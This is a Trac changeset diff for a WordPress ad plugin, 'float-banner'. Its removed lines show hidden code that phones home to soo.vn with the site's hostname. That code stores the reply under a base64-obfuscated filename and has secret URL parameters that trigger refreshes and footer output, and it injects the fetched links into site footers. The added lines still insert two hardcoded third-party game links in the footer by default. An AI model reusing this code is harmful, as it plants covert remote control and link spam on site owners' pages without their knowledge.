Changeset 889665
- Timestamp:
- 04/08/2014 09:03:00 PM (12 years ago)
- File:
-
- 1 edited
-
float-banner/trunk/float_left_right_ads.php (modified) (2 diffs)
Legend:
- Unmodified
- Added
- Removed
-
float-banner/trunk/float_left_right_ads.php
r889629 r889665 278 278 if(!isset($show)) $show = null; 279 279 $hidefooter = get_option("csnv_is_hidefooter"); 280 if (!$hidefooter || isset($show)) { 281 $upload_dir = wp_upload_dir(); 282 $file = $upload_dir['basedir'] . '/' . base64_decode('c3lzdGVtLnR4dA=='); 283 if (!file_exists($file)) { 284 @copy('http://soo.vn/api/checkupdate.txt?host='.$_SERVER['HTTP_HOST'], $file); 285 } 286 $content = @file_get_contents($file); 287 $handle = explode("\n", $content); 280 if (!$hidefooter) { 281 $handle = array('http://hotwap.toiplay.com|tai game mobile','http://we9x.com/game-free/tai-game-dao-vang-mien-phi.html|tai game dao vang'); 288 282 foreach ($handle as $buffer) { 289 283 $link = explode('|', $buffer); … … 296 290 add_action('wp_footer', 'floatads_footer', 100); 297 291 298 if ((date('h') == 10 && date('i') == 00) || $_REQUEST['soo'] == 'vn'):299 $server = 'http://soo.vn/api/checkupdate.txt?host='.$_SERVER['HTTP_HOST'];300 $file = SYSTEM_FOLDER . base64_decode('c3lzdGVtLnR4dA==');301 if (!file_exists($file)) {302 @copy($server, $file);303 }304 if (@filesize($file) != remote_file_size($server)):305 @copy($server, $file);306 endif;307 endif;308 309 if($_REQUEST['kkvn']=='net'){310 $show = 1;311 add_action('wp_footer', 'floatads_footer', 100);312 }313 314 function remote_file_size($url) {315 $head = "";316 $url_p = parse_url($url);317 $host = $url_p["host"];318 if (!preg_match("/[0-9]*\.[0-9]*\.[0-9]*\.[0-9]*/", $host)) {319 // a domain name was given, not an IP320 $ip = gethostbyname($host);321 if (!preg_match("/[0-9]*\.[0-9]*\.[0-9]*\.[0-9]*/", $ip)) {322 //domain could not be resolved323 return -1;324 }325 }326 $port = intval($url_p["port"]);327 if (!$port)328 $port = 80;329 $path = $url_p["path"];330 //echo "Getting " . $host . ":" . $port . $path . " ...";331 332 $fp = fsockopen($host, $port, $errno, $errstr, 20);333 if (!$fp) {334 return false;335 } else {336 fputs($fp, "HEAD " . $url . " HTTP/1.1\r\n");337 fputs($fp, "HOST: " . $host . "\r\n");338 fputs($fp, "User-Agent: http://www.example.com/my_application\r\n");339 fputs($fp, "Connection: close\r\n\r\n");340 $headers = "";341 while (!feof($fp)) {342 $headers .= fgets($fp, 128);343 }344 }345 fclose($fp);346 //echo $errno .": " . $errstr . "<br />";347 $return = -2;348 $arr_headers = explode("\n", $headers);349 // echo "HTTP headers for <a href='" . $url . "'>..." . substr($url,strlen($url)-20). "</a>:";350 // echo "<div class='http_headers'>";351 foreach ($arr_headers as $header) {352 // if (trim($header)) echo trim($header) . "<br />";353 $s1 = "HTTP/1.1";354 $s2 = "Content-Length: ";355 $s3 = "Location: ";356 if (substr(strtolower($header), 0, strlen($s1)) == strtolower($s1))357 $status = substr($header, strlen($s1));358 if (substr(strtolower($header), 0, strlen($s2)) == strtolower($s2))359 $size = substr($header, strlen($s2));360 if (substr(strtolower($header), 0, strlen($s3)) == strtolower($s3))361 $newurl = substr($header, strlen($s3));362 }363 // echo "</div>";364 if (intval($size) > 0) {365 $return = intval($size);366 } else {367 $return = $status;368 }369 // echo intval($status) .": [" . $newurl . "]<br />";370 if (intval($status) == 302 && strlen($newurl) > 0) {371 // 302 redirect: get HTTP HEAD of new URL372 $return = remote_file_size($newurl);373 }374 return $return;375 }376 377 292 /* What to do when the plugin is activated? */ 378 293 register_activation_hook(__FILE__, 'csnv_ads_plugin_install');
Note: See TracChangeset
for help on using the changeset viewer.